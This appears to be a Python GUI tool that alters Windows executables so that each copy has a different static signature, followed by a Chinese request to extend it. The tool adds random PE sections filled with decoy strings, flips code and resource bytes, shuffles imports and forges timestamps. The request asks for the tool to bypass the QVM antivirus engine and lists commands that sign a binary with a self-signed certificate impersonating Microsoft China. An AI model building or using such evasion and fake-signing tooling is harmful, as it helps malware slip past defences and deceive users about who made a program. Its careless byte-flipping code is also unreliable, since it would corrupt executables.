import os
import random
import tkinter as tk
from tkinter import filedialog, messagebox, ttk
import shutil
import hashlib
import time
import pefile
import os
import sys
class ExeProtectorApp:
def __init__(self, root):
self.root = root
self.root.title("EXE文件保护工具 v4.1")
self.root.geometry("750x680")
self.root.resizable(True, True)
# 设置中文字体
self.style = ttk.Style()
self.style.configure("TLabel", font=("SimHei", 10))
self.style.configure("TButton", font=("SimHei", 10))
self.style.configure("TProgressbar", thickness=20)
# 创建主框架
self.main_frame = ttk.Frame(root, padding="20")
self.main_frame.pack(fill=tk.BOTH, expand=True)
# 文件选择部分
ttk.Label(self.main_frame, text="选择EXE文件:").grid(row=0, column=0, sticky=tk.W, pady=5)
self.file_path_var = tk.StringVar()
ttk.Entry(self.main_frame, textvariable=self.file_path_var, width=50).grid(row=0, column=1, padx=5, pady=5)
ttk.Button(self.main_frame, text="浏览...", command=self.browse_file).grid(row=0, column=2, padx=5, pady=5)
# 输出目录选择
ttk.Label(self.main_frame, text="输出目录:").grid(row=1, column=0, sticky=tk.W, pady=5)
self.output_dir_var = tk.StringVar()
ttk.Entry(self.main_frame, textvariable=self.output_dir_var, width=50).grid(row=1, column=1, padx=5, pady=5)
ttk.Button(self.main_frame, text="浏览...", command=self.browse_output_dir).grid(row=1, column=2, padx=5, pady=5)
# 选项设置
options_frame = ttk.LabelFrame(self.main_frame, text="选项", padding="10")
options_frame.grid(row=2, column=0, columnspan=3, sticky=(tk.W, tk.E), pady=10)
ttk.Label(options_frame, text="随机字节增加范围 (KB):").grid(row=0, column=0, sticky=tk.W, pady=5)
self.min_size_var = tk.IntVar(value=100)
ttk.Entry(options_frame, textvariable=self.min_size_var, width=10).grid(row=0, column=1, padx=5, pady=5)
ttk.Label(options_frame, text="至").grid(row=0, column=2, padx=5, pady=5)
self.max_size_var = tk.IntVar(value=500)
ttk.Entry(options_frame, textvariable=self.max_size_var, width=10).grid(row=0, column=3, padx=5, pady=5)
ttk.Label(options_frame, text="随机性强度:").grid(row=0, column=4, sticky=tk.W, pady=5)
self.random_strength = tk.StringVar(value="中")
strength_options = ttk.Combobox(options_frame, textvariable=self.random_strength, state="readonly", width=12)
strength_options['values'] = ("低", "中", "高")
strength_options.grid(row=0, column=5, padx=5, pady=5)
ttk.Label(options_frame, text="模拟程序类型:").grid(row=1, column=0, sticky=tk.W, pady=5)
self.app_type = tk.StringVar(value="通用程序")
app_types = ttk.Combobox(options_frame, textvariable=self.app_type, state="readonly", width=15)
app_types['values'] = ("通用程序", "游戏程序", "办公软件", "系统工具", "开发工具")
app_types.grid(row=1, column=1, padx=5, pady=5)
self.process_method = tk.StringVar(value="standard")
ttk.Radiobutton(options_frame, text="标准保护", variable=self.process_method, value="standard").grid(row=1, column=2, sticky=tk.W, pady=5)
ttk.Radiobutton(options_frame, text="高级保护", variable=self.process_method, value="advanced").grid(row=1, column=3, sticky=tk.W, pady=5)
# 高级选项
advanced_frame = ttk.LabelFrame(self.main_frame, text="保护选项", padding="10")
advanced_frame.grid(row=3, column=0, columnspan=3, sticky=(tk.W, tk.E), pady=10)
self.obfuscate_resources = tk.BooleanVar(value=True)
ttk.Checkbutton(advanced_frame, text="混淆资源文件", variable=self.obfuscate_resources).grid(row=0, column=0, sticky=tk.W, pady=5)
self.encrypt_sections = tk.BooleanVar(value=True)
ttk.Checkbutton(advanced_frame, text="轻度代码变换", variable=self.encrypt_sections).grid(row=0, column=1, sticky=tk.W, pady=5)
self.add_dummy_sections = tk.BooleanVar(value=True)
ttk.Checkbutton(advanced_frame, text="添加随机数据块", variable=self.add_dummy_sections).grid(row=1, column=0, sticky=tk.W, pady=5)
self.randomize_imports = tk.BooleanVar(value=True)
ttk.Checkbutton(advanced_frame, text="随机化导入表顺序", variable=self.randomize_imports).grid(row=1, column=1, sticky=tk.W, pady=5)
# 处理按钮
ttk.Button(self.main_frame, text="保护文件", command=self.process_file).grid(row=4, column=0, columnspan=3, pady=20)
# 状态和进度条
self.status_var = tk.StringVar(value="就绪")
ttk.Label(self.main_frame, textvariable=self.status_var).grid(row=5, column=0, columnspan=2, sticky=tk.W, pady=5)
self.progress_var = tk.DoubleVar(value=0)
self.progress_bar = ttk.Progressbar(self.main_frame, variable=self.progress_var, length=100)
self.progress_bar.grid(row=5, column=2, sticky=(tk.W, tk.E), pady=5)
# 默认输出目录
self.output_dir_var.set(os.path.join(os.getcwd(), "protected_exes"))
# 绑定窗口关闭事件
self.root.protocol("WM_DELETE_WINDOW", self.on_closing)
# 初始化随机种子
self.initialize_random_seed()
def initialize_random_seed(self):
seed_material = (
time.time_ns().to_bytes(8, 'big') +
os.getpid().to_bytes(4, 'big') +
os.urandom(16)
)
seed = int.from_bytes(hashlib.sha256(seed_material).digest(), 'big')
random.seed(seed)
def browse_file(self):
file_path = filedialog.askopenfilename(filetypes=[("可执行文件", "*.exe"), ("所有文件", "*.*")])
if file_path:
self.file_path_var.set(file_path)
def browse_output_dir(self):
dir_path = filedialog.askdirectory()
if dir_path:
self.output_dir_var.set(dir_path)
def process_file(self):
exe_path = self.file_path_var.get()
output_dir = self.output_dir_var.get()
if not exe_path:
messagebox.showerror("错误", "请选择一个EXE文件")
return
if not os.path.exists(exe_path):
messagebox.showerror("错误", "选择的文件不存在")
return
if not output_dir:
messagebox.showerror("错误", "请选择输出目录")
return
if not os.path.exists(output_dir):
try:
os.makedirs(output_dir)
except:
messagebox.showerror("错误", "无法创建输出目录")
return
file_name, file_ext = os.path.splitext(os.path.basename(exe_path))
random_suffix = hashlib.md5(str(time.time_ns()).encode()).hexdigest()[:8]
output_path = os.path.join(output_dir, f"{file_name}_protected_{random_suffix}{file_ext}")
try:
self.status_var.set("正在处理文件...")
self.progress_var.set(0)
self.root.update()
min_size = self.min_size_var.get()
max_size = self.max_size_var.get()
if min_size < 0 or max_size < 0 or min_size > max_size:
messagebox.showerror("错误", "请设置有效的字节增加范围")
return
strength_factor = 1.0
if self.random_strength.get() == "高":
strength_factor = 1.5
elif self.random_strength.get() == "低":
strength_factor = 0.5
adjusted_min = int(min_size * strength_factor)
adjusted_max = int(max_size * strength_factor)
random_size_kb = random.randint(adjusted_min, adjusted_max)
random_size_bytes = random_size_kb * 1024
shutil.copy2(exe_path, output_path)
original_hash = self.calculate_file_hash(exe_path)
self.progress_var.set(5)
self.root.update()
if self.process_method.get() == "standard":
self.standard_protection(output_path, random_size_bytes)
else:
self.advanced_protection(output_path, random_size_bytes)
modified_hash = self.calculate_file_hash(output_path)
self.progress_var.set(95)
self.root.update()
if self.verify_exe_file(output_path):
self.status_var.set("文件处理完成")
self.progress_var.set(100)
messagebox.showinfo(
"成功",
f"文件保护成功!\n"
f"原始文件大小: {os.path.getsize(exe_path) // 1024} KB\n"
f"处理后文件大小: {os.path.getsize(output_path) // 1024} KB\n"
f"增加了: {random_size_kb} KB\n\n"
f"原始文件哈希 (MD5): {original_hash}\n"
f"处理后文件哈希 (MD5): {modified_hash}\n\n"
f"文件已保存至: {output_path}"
)
else:
self.status_var.set("文件验证失败")
self.progress_var.set(100)
messagebox.showwarning("警告", "处理后的文件可能需要在特定环境运行")
except Exception as e:
self.status_var.set("处理过程中出错")
messagebox.showerror("错误", f"处理文件时出错: {str(e)}")
finally:
self.progress_var.set(0)
self.initialize_random_seed()
def calculate_file_hash(self, file_path):
hash_md5 = hashlib.md5()
with open(file_path, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()
def standard_protection(self, file_path, additional_bytes):
try:
pe = pefile.PE(file_path)
section_count = random.randint(1, 3)
for _ in range(section_count):
new_section = pefile.SectionStructure(pe.__IMAGE_SECTION_HEADER_format__)
new_section.Name = self.generate_sane_section_name()
section_size = random.randint(0x1000, 0x8000)
new_section.Misc_VirtualSize = section_size
base_virtual_address = (pe.sections[-1].VirtualAddress + pe.sections[-1].Misc_VirtualSize + 0x1000 - 1) & ~0xFFF
new_section.VirtualAddress = base_virtual_address + random.randint(0, 0x1000)
base_raw_data = (pe.sections[-1].PointerToRawData + pe.sections[-1].SizeOfRawData + 0x1000 - 1) & ~0xFFF
new_section.PointerToRawData = base_raw_data + random.randint(0, 0x1000)
new_section.SizeOfRawData = section_size
section_flags = [0xC0000040, 0x40000040, 0x20000040, 0x80000040, 0x00000040, 0xE0000040]
new_section.Characteristics = random.choice(section_flags)
app_type = self.app_type.get()
new_data = self.generate_application_specific_data(section_size, app_type)
pe.set_bytes_at_offset(new_section.PointerToRawData, new_data)
pe.sections.append(new_section)
pe.FILE_HEADER.NumberOfSections += 1
pe.OPTIONAL_HEADER.SizeOfImage = (new_section.VirtualAddress + new_section.Misc_VirtualSize + 0x1000 - 1) & ~0xFFF
if self.encrypt_sections.get():
self.apply_mild_code_transformations(pe)
if self.randomize_imports.get() and hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
random.shuffle(pe.DIRECTORY_ENTRY_IMPORT)
self.safe_modify_exe_file(file_path, additional_bytes)
pe.FILE_HEADER.TimeDateStamp = int(time.time()) + random.randint(-3600, 3600)
pe.write(file_path)
pe.close()
except Exception as e:
print(f"标准保护执行: {e}")
self.safe_modify_exe_file(file_path, additional_bytes)
def advanced_protection(self, file_path, additional_bytes):
try:
pe = pefile.PE(file_path)
section_count = random.randint(2, 4)
for _ in range(section_count):
new_section = pefile.SectionStructure(pe.__IMAGE_SECTION_HEADER_format__)
new_section.Name = self.generate_sane_section_name()
section_size = random.randint(0x1000, 0x10000)
new_section.Misc_VirtualSize = section_size
base_virtual_address = (pe.sections[-1].VirtualAddress + pe.sections[-1].Misc_VirtualSize + 0x1000 - 1) & ~0xFFF
new_section.VirtualAddress = base_virtual_address + random.randint(0, 0x2000)
base_raw_data = (pe.sections[-1].PointerToRawData + pe.sections[-1].SizeOfRawData + 0x1000 - 1) & ~0xFFF
new_section.PointerToRawData = base_raw_data + random.randint(0, 0x2000)
new_section.SizeOfRawData = section_size
section_flags = [0xC0000040, 0x40000040, 0x20000040, 0x80000040, 0x00000040, 0xE0000040, 0x00000080, 0x40000080]
new_section.Characteristics = random.choice(section_flags)
app_type = self.app_type.get()
new_data = self.generate_application_specific_data(section_size, app_type)
pe.set_bytes_at_offset(new_section.PointerToRawData, new_data)
pe.sections.append(new_section)
pe.FILE_HEADER.NumberOfSections += 1
pe.OPTIONAL_HEADER.SizeOfImage = (new_section.VirtualAddress + new_section.Misc_VirtualSize + 0x1000 - 1) & ~0xFFF
if self.encrypt_sections.get():
self.apply_mild_code_transformations(pe)
if self.obfuscate_resources.get() and hasattr(pe, 'DIRECTORY_ENTRY_RESOURCE'):
self.obfuscate_pe_resources(pe)
if self.randomize_imports.get() and hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
for _ in range(random.randint(1, 3)):
random.shuffle(pe.DIRECTORY_ENTRY_IMPORT)
if self.add_dummy_sections.get():
dummy_size = random.randint(additional_bytes // 2, additional_bytes)
self.safe_modify_exe_file(file_path, dummy_size)
additional_bytes -= dummy_size
self.safe_modify_exe_file(file_path, additional_bytes)
pe.FILE_HEADER.TimeDateStamp = int(time.time()) + random.randint(-86400, 86400)
pe.write(file_path)
pe.close()
except Exception as e:
print(f"高级保护执行: {e}")
self.standard_protection(file_path, additional_bytes)
def safe_modify_exe_file(self, file_path, additional_bytes):
with open(file_path, 'ab') as f:
app_type = self.app_type.get()
data = self.generate_application_specific_data(additional_bytes, app_type)
f.write(data)
def generate_application_specific_data(self, size, app_type):
data = bytearray()
type_templates = {
"通用程序": [
b"C:\\Program Files\\Common Files\\\x00",
b"HKLM\\Software\\Microsoft\\Windows\\\x00",
b"ERROR_ACCESS_DENIED\x00",
b"SUCCESS\x00",
b"CONFIG_FILE\x00",
b"LOG_FILE\x00",
(0x00000001).to_bytes(4, 'little'),
(0x00000100).to_bytes(4, 'little'),
(0x00010000).to_bytes(4, 'little'),
],
"游戏程序": [
b"C:\\Program Files\\Game\\Data\\\x00",
b"C:\\Users\\Public\\Documents\\GameSaves\\\x00",
b"TEXTURE_", b"MODEL_", b"SOUND_",
b"LEVEL_", b"SCORE_", b"PLAYER_",
b"ENEMY_", b"WEAPON_",
(0x000F4240).to_bytes(4, 'little'),
(0x000003E8).to_bytes(4, 'little'),
],
"办公软件": [
b"C:\\Users\\%USERNAME%\\Documents\\\x00",
b"File Format: DOCX\x00",
b"File Format: XLSX\x00",
b"Page ", b"Sheet ", b"Table ",
b"Font ", b"Style ", b"Paragraph ",
b"Header", b"Footer",
(0x0000000A).to_bytes(4, 'little'),
(0x00000014).to_bytes(4, 'little'),
],
"系统工具": [
b"C:\\Windows\\System32\\\x00",
b"C:\\Windows\\SysWOW64\\\x00",
b"HKLM\\SYSTEM\\CurrentControlSet\\\x00",
b"Driver ", b"Service ", b"Device ",
b"Registry ", b"Process ", b"Thread ",
(0x00000001).to_bytes(4, 'little'),
(0x00000000).to_bytes(4, 'little'),
(0xFFFFFFFF).to_bytes(4, 'little'),
],
"开发工具": [
b"C:\\Program Files\\Developer\\SDK\\\x00",
b"C:\\Users\\%USERNAME%\\Source\\\x00",
b"Compiler ", b"Linker ", b"Debugger ",
b"Library ", b"Include ", b"Namespace ",
b"Class ", b"Function ", b"Variable ",
(0x00000000).to_bytes(4, 'little'),
(0x00000001).to_bytes(4, 'little'),
(0x00000002).to_bytes(4, 'little'),
]
}
templates = type_templates.get(app_type, type_templates["通用程序"])
template_usage = 0.7
if self.random_strength.get() == "高":
template_usage = 0.5
elif self.random_strength.get() == "低":
template_usage = 0.9
while len(data) < size:
if random.random() < template_usage:
data.extend(random.choice(templates))
else:
random_len = random.randint(1, 64)
data.extend(os.urandom(random_len))
if random.random() < 0.3:
data.extend(b'\x00' * random.randint(1, 8))
elif random.random() < 0.2:
data.extend(b' ' * random.randint(1, 16))
return data[:size]
def generate_sane_section_name(self):
base_names = [
b'.data', b'.rdata', b'.text', b'.rsrc', b'.reloc',
b'.bss', b'.edata', b'.idata', b'.pdata', b'.tls',
b'.data1', b'.rdata2', b'.text1', b'.rsrc1',
b'.data_', b'.rdata_', b'.text_', b'.rsrc_',
b'.init', b'.fini', b'.ctors', b'.dtors',
b'.gnu', b'.note', b'.eh_frame', b'.debug'
]
name = random.choice(base_names)
if random.random() < 0.7:
if random.random() < 0.5:
suffix = str(random.randint(10, 99)).encode()
else:
suffix = bytes(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(2))
name = name[:8-len(suffix)] + suffix
return name.ljust(8, b'\x00')[:8]
def apply_mild_code_transformations(self, pe):
text_section = None
for section in pe.sections:
if b'.text' in section.Name:
text_section = section
break
if text_section:
data = pe.get_data(text_section.VirtualAddress, text_section.SizeOfRawData)
if not isinstance(data, bytes):
data = bytes(data)
data_list = list(data)
transform_count = len(data_list) // 200
if self.random_strength.get() == "高":
transform_count = len(data_list) // 100
elif self.random_strength.get() == "低":
transform_count = len(data_list) // 400
transform_count = min(100, transform_count)
for _ in range(transform_count):
i = random.randint(0, len(data_list) - 1)
transform_type = random.choice([0, 1, 2, 3, 4])
if transform_type == 0:
data_list[i] = (data_list[i] + 1) % 256
elif transform_type == 1:
data_list[i] = (data_list[i] - 1) % 256
elif transform_type == 2:
data_list[i] ^= 0xFF
elif transform_type == 3:
data_list[i] = (data_list[i] << 1) % 256
else:
data_list[i] = (data_list[i] >> 1) % 256
pe.set_bytes_at_offset(text_section.PointerToRawData, bytes(data_list))
def obfuscate_pe_resources(self, pe):
try:
for resource_type in pe.DIRECTORY_ENTRY_RESOURCE.entries:
if hasattr(resource_type, 'directory'):
for resource_id in resource_type.directory.entries:
if hasattr(resource_id, 'directory'):
for resource_lang in resource_id.directory.entries:
data_rva = resource_lang.data.struct.OffsetToData
size = resource_lang.data.struct.Size
resource_data = list(pe.get_data(data_rva, size))
step_size = 200
if self.random_strength.get() == "高":
step_size = 100
elif self.random_strength.get() == "低":
step_size = 400
for i in range(0, len(resource_data), random.randint(step_size-50, step_size+50)):
if i < len(resource_data):
if random.random() < 0.3:
resource_data[i] = (resource_data[i] + random.randint(1, 5)) % 256
elif random.random() < 0.6:
resource_data[i] = (resource_data[i] - random.randint(1, 5)) % 256
else:
resource_data[i] ^= random.randint(1, 255)
pe.set_bytes_at_offset(data_rva, bytes(resource_data))
except Exception as e:
print(f"资源混淆错误: {e}")
def verify_exe_file(self, file_path):
try:
pe = pefile.PE(file_path)
pe.close()
return True
except:
return False
def on_closing(self):
if messagebox.askokcancel("退出", "确定要退出程序吗?"):
self.root.destroy()
if __name__ == "__main__":
root = tk.Tk()
app = ExeProtectorApp(root)
root.mainloop() 用户希望输出的程序每次都会有静态特征变化 绕过QVM 将代码段熵值降到最低 在此基础上修改 这些修改使程序每次处理都能产生不同的静态特征,同时保持较低的熵值,提高绕过 QVM 等虚拟机查杀技术的可能性。
并且模拟添加证书操作
makecert /sv "word.pvk" /n "CN=微软中国有限公司,E=,O=Windows" -r word.cer
Cert2Spc.exe word.cer word.spc
pvk2pfx -pvk word.pvk -pi 1 -spc word.spc -pfx word.pfx -f
signtool sign /f word.pfx /p 1 wrnm.exe
signtool timestamp /t http://timestamp.digicert.com/timestamp wrnm.exe
输出完整源码 不要省略
最新发布